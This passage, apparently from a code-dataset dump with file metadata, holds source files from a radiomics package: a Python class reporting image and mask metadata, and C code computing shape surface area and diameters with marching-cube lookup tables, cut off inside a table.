(int)(PyArray_STRIDE(mask_arr, 2) / PyArray_ITEMSIZE(mask_arr));\\n strides[1] = (int)(PyArray_STRIDE(mask_arr, 1) / PyArray_ITEMSIZE(mask_arr));\\n strides[0] = (int)(PyArray_STRIDE(mask_arr, 0) / PyArray_ITEMSIZE(mask_arr));\\n\\n return 0;\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.6926302909851074,\n \"alphanum_fraction\": 0.6951767802238464,\n \"avg_line_length\": 31.25120735168457,\n \"blob_id\": \"e75f68b7e461b1262c16629dad9c31f2997a73df\",\n \"content_id\": \"9e8dfdeca02f0ffce00a08d7c3cdb4d0c11d3c70\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6676,\n \"license_type\": \"permissive\",\n \"max_line_length\": 138,\n \"num_lines\": 207,\n \"path\": \"/radiomics/generalinfo.py\",\n \"repo_name\": \"drmaxchen/pyradio\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import collections\\nimport logging\\n\\nimport numpy\\nimport pywt\\nimport SimpleITK as sitk\\nimport six\\n\\nimport radiomics\\n\\n\\nclass GeneralInfo():\\n def __init__(self, imagePath, maskPath, resampledMask, settings, enabledImageTypes):\\n self.logger = logging.getLogger(self.__module__)\\n\\n self.elements = self._getElementNames()\\n\\n if isinstance(imagePath, six.string_types):\\n self.image = sitk.ReadImage(imagePath)\\n elif isinstance(imagePath, sitk.Image):\\n self.image = imagePath\\n else:\\n self.logger.warning('Error reading image Filepath or SimpleITK object')\\n self.image = None\\n\\n if isinstance(maskPath, six.string_types):\\n self.mask = sitk.ReadImage(maskPath)\\n elif isinstance(maskPath, sitk.Image):\\n self.mask = maskPath\\n else:\\n self.logger.warning('Error reading mask Filepath or SimpleITK object')\\n self.mask = None\\n\\n self.resampledMask = resampledMask\\n\\n self._settings = settings\\n self._enabledImageTypes = enabledImageTypes\\n\\n self.label = self._settings.get('label', 1)\\n\\n if resampledMask is not None:\\n self.lssif = sitk.LabelShapeStatisticsImageFilter()\\n self.lssif.Execute(resampledMask)\\n else:\\n self.lssif = None\\n\\n def _getElementNames(self):\\n return [member[3: -5] for member in dir(self) if member.startswith('get') and member.endswith('Value')]\\n\\n def execute(self):\\n \\\"\\\"\\\"\\n Return a dictionary containing all general info items. Format is <info_item>:<value>, where the type\\n of the value is preserved. For CSV format, this will result in conversion to string and quotes where necessary, for\\n JSON, the values will be interpreted and stored as JSON strings.\\n \\\"\\\"\\\"\\n generalInfo = collections.OrderedDict()\\n for el in self.elements:\\n generalInfo[el] = getattr(self, 'get%sValue' % el)()\\n return generalInfo\\n\\n def getBoundingBoxValue(self):\\n \\\"\\\"\\\"\\n Calculate and return the boundingbox extracted using the specified label.\\n Elements 0, 1 and 2 are the x, y and z coordinates of the lower bound, respectively.\\n Elements 3, 4 and 5 are the size of the bounding box in x, y and z direction, respectively.\\n\\n Values are based on the resampledMask.\\n \\\"\\\"\\\"\\n if self.lssif is not None:\\n return self.lssif.GetBoundingBox(self.label)\\n else:\\n return None\\n\\n def getGeneralSettingsValue(self):\\n \\\"\\\"\\\"\\n Return a string representation of the general settings.\\n Format is {<settings_name>:<value>, ...}.\\n \\\"\\\"\\\"\\n return self._settings\\n\\n def getImageHashValue(self):\\n \\\"\\\"\\\"\\n Returns the sha1 hash of the image. This enables checking whether two images are the same,\\n regardless of the file location.\\n\\n If the reading of the image fails, an empty string is returned.\\n \\\"\\\"\\\"\\n if self.image is not None:\\n return sitk.Hash(self.image)\\n else:\\n return None\\n\\n def getImageSpacingValue(self):\\n \\\"\\\"\\\"\\n Returns the original spacing (before any resampling) of the image.\\n\\n If the reading of the image fails, an empty string is returned.\\n \\\"\\\"\\\"\\n if self.image is not None:\\n return self.image.GetSpacing()\\n else:\\n return None\\n\\n def getCenterOfMassIndexValue(self):\\n \\\"\\\"\\\"\\n Returns z, y and x coordinates of the center of mass of the ROI in terms of the image coordinate space (continuous index).\\n\\n Calculation is based on the original (non-resampled) mask.\\n\\n .. note::\\n Because this represents the continuous index, the order of x, y and z is reversed, i.e. the first element is the z index, the second\\n the y index and the last element is the x index.\\n \\\"\\\"\\\"\\n if self.mask is not None:\\n maskArray = sitk.GetArrayFromImage(self.mask)\\n maskCoordinates = numpy.array(numpy.where(maskArray == self.label))\\n center_index = numpy.mean(maskCoordinates, axis=1)\\n return tuple(center_index)\\n else:\\n return None\\n\\n def getCenterOfMassValue(self):\\n \\\"\\\"\\\"\\n Returns the real-world x, y and z coordinates of the center of mass of the ROI. This is the real-world transformation of\\n :py:func:`~radiomics.generalinfo.getCenterOfMassIndexValue()`, taking into account the spacing, direction and origin of the mask.\\n\\n Calculation is based on the original (non-resampled) mask.\\n \\\"\\\"\\\"\\n if self.mask is not None:\\n return self.mask.TransformContinuousIndexToPhysicalPoint(self.getCenterOfMassIndexValue())\\n else:\\n return None\\n\\n def getEnabledImageTypesValue(self):\\n \\\"\\\"\\\"\\n Return a string representation of the enabled image types and any custom settings for each image type.\\n Format is {<imageType_name>:{<setting_name>:<value>, ...}, ...}.\\n \\\"\\\"\\\"\\n return self._enabledImageTypes\\n\\n def getMaskHashValue(self):\\n \\\"\\\"\\\"\\n Returns the sha1 hash of the mask. This enables checking whether two masks are the same,\\n regardless of the file location.\\n\\n If the reading of the mask fails, an empty string is returned. Uses the original mask, specified in maskPath.\\n \\\"\\\"\\\"\\n if self.mask is not None:\\n return sitk.Hash(self.mask)\\n else:\\n return None\\n\\n @classmethod\\n def getVersionValue(self):\\n \\\"\\\"\\\"\\n Return the current version of this package.\\n \\\"\\\"\\\"\\n return radiomics.__version__\\n\\n @classmethod\\n def getNumpyVersionValue(self):\\n \\\"\\\"\\\"\\n Return the current version of the numpy package, used for feature calculation.\\n \\\"\\\"\\\"\\n return numpy.__version__\\n\\n @classmethod\\n def getSimpleITKVersionValue(self):\\n \\\"\\\"\\\"\\n Return the current version of the SimpleITK package, used for image processing.\\n \\\"\\\"\\\"\\n return sitk.Version().VersionString()\\n\\n @classmethod\\n def getPyWaveletVersionValue(self):\\n \\\"\\\"\\\"\\n Return the current version of the PyWavelet package, used to apply the wavelet filter.\\n \\\"\\\"\\\"\\n return pywt.__version__\\n\\n def getVolumeNumValue(self):\\n \\\"\\\"\\\"\\n Calculate and return the number of zones within the mask for the specified label.\\n A zone is defined as a group of connected neighbours that are segmented with the specified label, and a voxel is\\n considered a neighbour using 26-connectedness for 3D and 8-connectedness for 2D.\\n\\n Values are based on the resampledMask.\\n \\\"\\\"\\\"\\n if self.resampledMask is not None:\\n labelMap = (self.resampledMask == self.label)\\n ccif = sitk.ConnectedComponentImageFilter()\\n ccif.FullyConnectedOn()\\n ccif.Execute(labelMap)\\n return ccif.GetObjectCount()\\n else:\\n return None\\n\\n def getVoxelNumValue(self):\\n \\\"\\\"\\\"\\n Calculate and return the number of voxels that have been segmented using the specified label.\\n\\n Values are based on the resampledMask.\\n \\\"\\\"\\\"\\n if self.lssif is not None:\\n return self.lssif.GetNumberOfPixels(self.label)\\n else:\\n return None\\n\"\n },\n {\n \"alpha_fraction\": 0.2751407325267792,\n \"alphanum_fraction\": 0.43696877360343933,\n \"avg_line_length\": 45.575836181640625,\n \"blob_id\": \"7f37142b6f0ad23e2a4a58260e4a4ef293fafa4b\",\n \"content_id\": \"cf7231332f8eba03f0621ff67bed8c3ec8391a7a\",\n \"detected_licenses\": [\n \"BSD-3-Clause\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C\",\n \"length_bytes\": 18118,\n \"license_type\": \"permissive\",\n \"max_line_length\": 140,\n \"num_lines\": 389,\n \"path\": \"/radiomics/src/cshape.c\",\n \"repo_name\": \"drmaxchen/pyradio\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include \\\"cshape.h\\\"\\n#include <math.h>\\n#include <stdlib.h>\\n\\nint *generate_angles(int *size, int *strides, int *a_strides, int *Na, int *mDim);\\n\\n// Declare the look-up tables, these are filled at the bottom of this code file.\\nstatic const int gridAngles[8][3];\\n//static const int edgeTable[128]; // Not needed in this implementation\\nstatic const int triTable[128][16];\\nstatic const double vertList[12][3];\\n\\ndouble calculate_surfacearea(char *mask, int *size, int *strides, double *spacing)\\n{\\n int iz, iy, ix, i, t, d; // iterator indices\\n unsigned char cube_idx; // cube identifier, 8 bits signifying which corners of the cube belong to the segmentation\\n int a_idx; // Angle index (8 'angles', one pointing to each corner of the marching cube\\n double sum;\\n double surfaceArea = 0; // Total surface area\\n double a[3], b[3], c[3]; // 2 points of the triangle, relative to the third, and the cross product vector\\n\\n // Iterate over all voxels, do not include last voxels in the three dimensions, as the cube includes voxels at pos +1\\n for (iz = 0; iz < (size[0] - 1); iz++)\\n {\\n for (iy = 0; iy < (size[1] - 1); iy++)\\n {\\n for (ix = 0; ix < (size[2] - 1); ix++)\\n {\\n // Get current cube_idx by analyzing each point of the current cube\\n cube_idx = 0;\\n for (a_idx = 0; a_idx < 8; a_idx++)\\n {\\n i = (iz + gridAngles[a_idx][0]) * strides[0] +\\n (iy + gridAngles[a_idx][1]) * strides[1] +\\n (ix + gridAngles[a_idx][2]) * strides[2];\\n\\n if (mask[i]) cube_idx |= (1 << a_idx);\\n }\\n\\n // Isosurface is symmetrical around the midpoint, flip the number if > 128\\n // This enables look-up tables to be 1/2 the size.\\n if (cube_idx & 0x80) cube_idx ^= 0xff;\\n\\n // Exlcude cubes entirely outside or inside the segmentation. Also exclude potential invalid values (>= 128).\\n if (cube_idx > 0 && cube_idx < 128)\\n {\\n t = 0;\\n while (triTable[cube_idx][t*3] >= 0) // Exit loop when no more triangles are present (element at index = -1)\\n {\\n for (d = 0; d < 3; d++)\\n {\\n a[d] = vertList[triTable[cube_idx][t*3 + 1]][d] - vertList[triTable[cube_idx][t*3]][d];\\n b[d] = vertList[triTable[cube_idx][t*3 + 2]][d] - vertList[triTable[cube_idx][t*3]][d];\\n\\n // Factor in the spacing\\n a[d] *= spacing[d];\\n b[d] *= spacing[d];\\n }\\n\\n // Compute the cross-product\\n c[0] = (a[1] * b[2]) - (b[1] * a[2]);\\n c[1] = (a[2] * b[0]) - (b[2] * a[0]);\\n c[2] = (a[0] * b[1]) - (b[0] * a[1]);\\n\\n // Get the square\\n c[0] = c[0] * c[0];\\n c[1] = c[1] * c[1];\\n c[2] = c[2] * c[2];\\n\\n // Compute the surface, which is equal to 1/2 magnitude of the cross product, where\\n // The magnitude is obtained by calculating the euclidean distance between (0, 0, 0)\\n // and the location of c\\n sum = c[0] + c[1] + c[2];\\n sum = sqrt(sum);\\n sum = 0.5 * sum;\\n surfaceArea += sum;\\n t++;\\n }\\n }\\n }\\n }\\n }\\n return surfaceArea;\\n}\\n\\nint calculate_diameter(char *mask, int *size, int *strides, double *spacing, int Ns, double *diameters)\\n{\\n int iz, iy, ix, i, j;\\n int a_idx, d_idx;\\n int Na, mDim;\\n int *angles;\\n int a_strides[3];\\n\\n int *stack;\\n int stack_top = -1;\\n\\n int idx, jz, jy, jx;\\n double dz, dy, dx;\\n double distance;\\n\\n angles = generate_angles(size, strides, a_strides, &Na, &mDim);\\n stack = (int *)calloc(Ns, sizeof(int));\\n\\n // First, get all the voxels on the border\\n i = 0;\\n // Iterate over all voxels in a row - column - slice order\\n // As the mask is padded with 0's, no voxels on the edge of the image are part of the mask, so skip those...\\n for (iz = 1; iz < size[0] - 1; iz++)\\n {\\n for (iy = 1; iy < size[1] - 1; iy++)\\n {\\n for (ix = 1; ix < size[2] - 1; ix++)\\n {\\n i = iz * strides[0] +\\n iy * strides[1] +\\n ix * strides[2];\\n if (mask[i])\\n {\\n for (a_idx = 0; a_idx < Na; a_idx++)\\n {\\n j = i;\\n for (d_idx = 0; d_idx < mDim; d_idx++)\\n {\\n j += angles[a_idx * mDim + d_idx] * a_strides[d_idx];\\n }\\n\\n if (mask[j] == 0)\\n {\\n // neighbour not part of ROI, i.e. 'i' is border voxel\\n if (stack_top >= Ns) return 0; // index out of bounds\\n stack[++stack_top] = i;\\n break;\\n }\\n }\\n }\\n }\\n }\\n\\t}\\n stack_top++; // increment by 1, so when the first item is popped, it is the last item entered\\n\\n\\tfree(angles);\\n\\n diameters[0] = 0;\\n diameters[1] = 0;\\n diameters[2] = 0;\\n diameters[3] = 0;\\n\\n while (stack_top > 0)\\n {\\n // pop the last item from the stack, this prevents double processing and comparing the same voxels\\n i = stack[--stack_top];\\n iz = (i / strides[0]);\\n iy = (i % strides[0]) / strides[1];\\n ix = (i % strides[0]) % strides[1];\\n for (idx = 0; idx < stack_top; idx++) // calculate distance to all other voxels\\n {\\n j = stack[idx];\\n\\t jz = (j / strides[0]);\\n jy = (j % strides[0]) / strides[1];\\n jx = (j % strides[0]) % strides[1];\\n\\n dz = (double)(iz - jz) * spacing[0];\\n dy = (double)(iy - jy) * spacing[1];\\n dx = (double)(ix - jx) * spacing[2];\\n\\n dz *= dz;\\n dy *= dy;\\n dx *= dx;\\n\\n distance = dz + dy + dx;\\n if (iz == jz && distance > diameters[0]) diameters[0] = distance;\\n if (iy == jy && distance > diameters[1]) diameters[1] = distance;\\n if (ix == jx && distance > diameters[2]) diameters[2] = distance;\\n if (distance > diameters[3]) diameters[3] = distance;\\n }\\n }\\n free(stack);\\n\\n diameters[0] = sqrt(diameters[0]);\\n diameters[1] = sqrt(diameters[1]);\\n diameters[2] = sqrt(diameters[2]);\\n diameters[3] = sqrt(diameters[3]);\\n\\n return 1;\\n}\\n\\nint *generate_angles(int *size, int *strides, int *a_strides, int *Na, int *mDim)\\n{\\n static int *angles; // return value, declare static so it can be returned\\n\\n int offsets[3] = {-1, 0, 1}; // distance 1, both directions\\n int a_idx, d_idx, a_offset, stride;\\n\\n // First, determine how many 'moving' dimensions there are, this determines the number of distinct angles to generate\\n // Na = 3 ** NDIM(Size > 3) - 1, i.e. each dimension triples the number of angles, -1 to exclude (0, 0, 0)\\n *Na = 1;\\n *mDim = 0;\\n for (d_idx = 0; d_idx < 3; d_idx++) // assume mask is 3D\\n {\\n if (size[d_idx] > 3) // mask is padded with 0's in all directions, i.e. bounding box size = size - 2\\n {\\n // Dimension is a moving dimension\\n a_strides[*mDim] = strides[d_idx];\\n *Na *= 3;\\n (*mDim)++;\\n }\\n }\\n (*Na)--; // Don't generate angle for (0, 0, 0)\\n\\n // Initialize array to hold the angles\\n angles = (int *)calloc(*Na * *mDim, sizeof(int));\\n\\n // Fill the angles array\\n stride = 1;\\n for (d_idx = 0; d_idx < *mDim; d_idx++) // Iterate over all moving dimensions\\n {\\n a_offset = 0;\\n for (a_idx = 0; a_idx < *Na; a_idx++)\\n {\\n if (a_idx == *Na / 2) a_offset = 1; // Skip (0, 0, 0) angle\\n\\n angles[a_idx * *mDim + d_idx] = offsets[((a_idx + a_offset) / stride) % 3];\\n }\\n stride *= 3; // For next dimension, multiply stride by 3 (length offsets) --> {1, 3, 9, ...}\\n }\\n return angles;\\n}\\n\\n// gridAngles define the 8 corners of the marching cube, relative to the origin of the cube\\nstatic const int gridAngles[8][3] = { { 0, 0, 0 }, { 0, 0, 1 }, { 0, 1, 1 }, {0, 1, 0}, { 1, 0, 0 }, {1, 0, 1 }, { 1, 1, 1 }, { 1, 1, 0 } };\\n\\n// edgeTable defines which edges contain intersection points, for which the exact intersection point has to be\\n// interpolated. However, as the intersection point is always 0.5, this can be defined beforehand, and this table is not\\n// needed\\n/*static const int edgeTable[128] = {\\n 0x000, 0x109, 0x203, 0x30a, 0x406, 0x50f, 0x605, 0x70c, 0x80c, 0x905, 0xa0f, 0xb06, 0xc0a, 0xd03, 0xe09, 0xf00,\\n 0x190, 0x099, 0x393, 0x29a, 0x596, 0x49f, 0x795, 0x69c, 0x99c, 0x895, 0xb9f, 0xa96, 0xd9a, 0xc93, 0xf99, 0xe90,\\n 0x230, 0x339, 0x033, 0x13a, 0x636, 0x73f, 0x435, 0x53c, 0xa3c, 0xb35, 0x83f, 0x936, 0xe3a, 0xf33, 0xc39, 0xd30,\\n 0x3a0, 0x2a9, 0x1a3, 0x0aa, 0x7a6, 0x6af, 0x5a5, 0x4ac, 0xbac, 0xaa5, 0x9af, 0x8a6, 0xfaa, 0xea3, 0xda9, 0xca0,\\n 0x460, 0x569, 0x663, 0x76a, 0x066, 0x16f, 0x265, 0x36c, 0xc6c, 0xd65, 0xe6f, 0xf66, 0x86a, 0x963, 0xa69, 0xb60,\\n 0x5f0, 0x4f9, 0x7f3, 0x6fa, 0x1f6, 0x0ff, 0x3f5, 0x2fc, 0xdfc, 0xcf5, 0xfff, 0xef6, 0x9fa, 0x8f3, 0xbf9, 0xaf0,\\n 0x650, 0x759, 0x453, 0x55a, 0x256, 0x35f, 0x055, 0x15c, 0xe5c, 0xf55, 0xc5f, 0xd56, 0xa5a, 0xb53, 0x859, 0x950,\\n 0x7c0, 0x6c9, 0x5c3, 0x4ca, 0x3c6, 0x2cf, 0x1c5, 0x0cc, 0xfcc, 0xec5, 0xdcf, 0xcc6, 0xbca, 0xac3, 0x9c9, 0x8c0\\n};*/\\n\\n// triTable defines which triangles (defined by their points as defined in vertList) are present in the cube.\\n// The first dimension indicates the specific cube to look up, the second dimension contains sets of 3 points (1 for\\n// each triangle), with the elements set to -1 after all triangles have been defined (max. no of triangles: 5)\\nstatic const int triTable[128][16] = {\\n { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 8, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 1, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 8, 3, 9, 8, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 2, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 8, 3, 1, 2, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 2, 10, 0, 2, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 2, 8, 3, 2, 10, 8, 10, 9, 8, -1, -1, -1, -1, -1, -1, -1 },\\n { 3, 11, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 11, 2, 8, 11, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 9, 0, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 11, 2, 1, 9, 11, 9, 8, 11, -1, -1, -1, -1, -1, -1, -1 },\\n { 3, 10, 1, 11, 10, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 10, 1, 0, 8, 10, 8, 11, 10, -1, -1, -1, -1, -1, -1, -1 },\\n { 3, 9, 0, 3, 11, 9, 11, 10, 9, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 8, 10, 10, 8, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 4, 7, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 4, 3, 0, 7, 3, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 1, 9, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 4, 1, 9, 4, 7, 1, 7, 3, 1, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 2, 10, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 3, 4, 7, 3, 0, 4, 1, 2, 10, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 2, 10, 9, 0, 2, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1 },\\n { 2, 10, 9, 2, 9, 7, 2, 7, 3, 7, 9, 4, -1, -1, -1, -1 },\\n { 8, 4, 7, 3, 11, 2, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 11, 4, 7, 11, 2, 4, 2, 0, 4, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 0, 1, 8, 4, 7, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1 },\\n { 4, 7, 11, 9, 4, 11, 9, 11, 2, 9, 2, 1, -1, -1, -1, -1 },\\n { 3, 10, 1, 3, 11, 10, 7, 8, 4, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 11, 10, 1, 4, 11, 1, 0, 4, 7, 11, 4, -1, -1, -1, -1 },\\n { 4, 7, 8, 9, 0, 11, 9, 11, 10, 11, 0, 3, -1, -1, -1, -1 },\\n { 4, 7, 11, 4, 11, 9, 9, 11, 10, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 5, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 5, 4, 0, 8, 3, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 5, 4, 1, 5, 0, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 8, 5, 4, 8, 3, 5, 3, 1, 5, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 2, 10, 9, 5, 4, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 3, 0, 8, 1, 2, 10, 4, 9, 5, -1, -1, -1, -1, -1, -1, -1 },\\n { 5, 2, 10, 5, 4, 2, 4, 0, 2, -1, -1, -1, -1, -1, -1, -1 },\\n { 2, 10, 5, 3, 2, 5, 3, 5, 4, 3, 4, 8, -1, -1, -1, -1 },\\n { 9, 5, 4, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 11, 2, 0, 8, 11, 4, 9, 5, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 5, 4, 0, 1, 5, 2, 3, 11, -1, -1, -1, -1, -1, -1, -1 },\\n { 2, 1, 5, 2, 5, 8, 2, 8, 11, 4, 8, 5, -1, -1, -1, -1 },\\n { 10, 3, 11, 10, 1, 3, 9, 5, 4, -1, -1, -1, -1, -1, -1, -1 },\\n { 4, 9, 5, 0, 8, 1, 8, 10, 1, 8, 11, 10, -1, -1, -1, -1 },\\n { 5, 4, 0, 5, 0, 11, 5, 11, 10, 11, 0, 3, -1, -1, -1, -1 },\\n { 5, 4, 8, 5, 8, 10, 10, 8, 11, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 7, 8, 5, 7, 9, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 3, 0, 9, 5, 3, 5, 7, 3, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 7, 8, 0, 1, 7, 1, 5, 7, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 5, 3, 3, 5, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 7, 8, 9, 5, 7, 10, 1, 2, -1, -1, -1, -1, -1, -1, -1 },\\n { 10, 1, 2, 9, 5, 0, 5, 3, 0, 5, 7, 3, -1, -1, -1, -1 },\\n { 8, 0, 2, 8, 2, 5, 8, 5, 7, 10, 5, 2, -1, -1, -1, -1 },\\n { 2, 10, 5, 2, 5, 3, 3, 5, 7, -1, -1, -1, -1, -1, -1, -1 },\\n { 7, 9, 5, 7, 8, 9, 3, 11, 2, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 5, 7, 9, 7, 2, 9, 2, 0, 2, 7, 11, -1, -1, -1, -1 },\\n { 2, 3, 11, 0, 1, 8, 1, 7, 8, 1, 5, 7, -1, -1, -1, -1 },\\n { 11, 2, 1, 11, 1, 7, 7, 1, 5, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 5, 8, 8, 5, 7, 10, 1, 3, 10, 3, 11, -1, -1, -1, -1 },\\n { 5, 7, 0, 5, 0, 9, 7, 11, 0, 1, 0, 10, 11, 10, 0, -1 },\\n { 11, 10, 0, 11, 0, 3, 10, 5, 0, 8, 0, 7, 5, 7, 0, -1 },\\n { 11, 10, 5, 7, 11, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 10, 6, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 8, 3, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 0, 1, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 8, 3, 1, 9, 8, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 6, 5, 2, 6, 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 6, 5, 1, 2, 6, 3, 0, 8, -1, -1, -1, -1, -1, -1, -1 },\\n { 9, 6, 5, 9, 0, 6, 0, 2, 6, -1, -1, -1, -1, -1, -1, -1 },\\n { 5, 9, 8, 5, 8, 2, 5, 2, 6, 3, 2, 8, -1, -1, -1, -1 },\\n { 2, 3, 11, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 11, 0, 8, 11, 2, 0, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 1, 9, 2, 3, 11, 5, 10, 6, -1, -1, -1, -1, -1, -1, -1 },\\n { 5, 10, 6, 1, 9, 2, 9, 11, 2, 9, 8, 11, -1, -1, -1, -1 },\\n { 6, 3, 11, 6, 5, 3, 5, 1, 3, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 8, 11, 0, 11, 5, 0, 5, 1, 5, 11, 6, -1, -1, -1, -1 },\\n { 3, 11, 6, 0, 3, 6, 0, 6, 5, 0, 5, 9, -1, -1, -1, -1 },\\n { 6, 5, 9, 6, 9, 11, 11, 9, 8, -1, -1, -1, -1, -1, -1, -1 },\\n { 5, 10, 6, 4, 7, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 4, 3, 0, 4, 7, 3, 6, 5, 10, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 9, 0, 5, 10, 6, 8, 4, 7, -1, -1, -1, -1, -1, -1, -1 },\\n { 10, 6, 5, 1, 9, 7, 1, 7, 3, 7, 9, 4, -1, -1, -1, -1 },\\n { 6, 1, 2, 6, 5, 1, 4, 7, 8, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 2, 5, 5, 2, 6, 3, 0, 4, 3, 4, 7, -1, -1, -1, -1 },\\n { 8, 4, 7, 9, 0, 5, 0, 6, 5, 0, 2, 6, -1, -1, -1, -1 },\\n { 7, 3, 9, 7, 9, 4, 3, 2, 9, 5, 9, 6, 2, 6, 9, -1 },\\n { 3, 11, 2, 7, 8, 4, 10, 6, 5, -1, -1, -1, -1, -1, -1, -1 },\\n { 5, 10, 6, 4, 7, 2, 4, 2, 0, 2, 7, 11, -1, -1, -1, -1 },\\n { 0, 1, 9, 4, 7, 8, 2, 3, 11, 5, 10, 6, -1, -1, -1, -1 },\\n { 9, 2, 1, 9, 11, 2, 9, 4, 11, 7, 11, 4, 5, 10, 6, -1 },\\n { 8, 4, 7, 3, 11, 5, 3, 5, 1, 5, 11, 6, -1, -1, -1, -1 },\\n { 5, 1, 11, 5, 11, 6, 1, 0, 11, 7, 11, 4, 0, 4, 11, -1 },\\n { 0, 5, 9, 0, 6, 5, 0, 3, 6, 11, 6, 3, 8, 4, 7, -1 },\\n { 6, 5, 9, 6, 9, 11, 4, 7, 9, 7, 11, 9, -1, -1, -1, -1 },\\n { 10, 4, 9, 6, 4, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 4, 10, 6, 4, 9, 10, 0, 8, 3, -1, -1, -1, -1, -1, -1, -1 },\\n { 10, 0, 1, 10, 6, 0, 6, 4, 0, -1, -1, -1, -1, -1, -1, -1 },\\n { 8, 3, 1, 8, 1, 6, 8, 6, 4, 6, 1, 10, -1, -1, -1, -1 },\\n { 1, 4, 9, 1, 2, 4, 2, 6, 4, -1, -1, -1, -1, -1, -1, -1 },\\n { 3, 0, 8, 1, 2, 9, 2, 4, 9, 2, 6, 4, -1, -1, -1, -1 },\\n { 0, 2, 4, 4, 2, 6, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 8, 3, 2, 8, 2, 4, 4, 2, 6, -1, -1, -1, -1, -1, -1, -1 },\\n { 10, 4, 9, 10, 6, 4, 11, 2, 3, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 8, 2, 2, 8, 11, 4, 9, 10, 4, 10, 6, -1, -1, -1, -1 },\\n { 3, 11, 2, 0, 1, 6, 0, 6, 4, 6, 1, 10, -1, -1, -1, -1 },\\n { 6, 4, 1, 6, 1, 10, 4, 8, 1, 2, 1, 11, 8, 11, 1, -1 },\\n { 9, 6, 4, 9, 3, 6, 9, 1, 3, 11, 6, 3, -1, -1, -1, -1 },\\n { 8, 11, 1, 8, 1, 0, 11, 6, 1, 9, 1, 4, 6, 4, 1, -1 },\\n { 3, 11, 6, 3, 6, 0, 0, 6, 4, -1, -1, -1, -1, -1, -1, -1 },\\n { 6, 4, 8, 11, 6, 8, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 },\\n { 7, 10, 6, 7, 8, 10, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1 },\\n { 0, 7, 3, 0, 10, 7, 0, 9, 10, 6, 7, 10, -1, -1, -1, -1 },\\n { 10, 6, 7, 1, 10, 7, 1, 7, 8, 1, 8, 0, -1, -1, -1, -1 },\\n { 10, 6, 7, 10, 7, 1, 1, 7, 3, -1, -1, -1, -1, -1, -1, -1 },\\n { 1, 2, 6, 1, 6, 8, 1, 8, 9, 8, 6, 7, -1, -1, -1, -1 },\\n { 2, 6, 9, 2, 9, 1, 6, 7, 9, 0, 9, 3, 7, 3, 9, 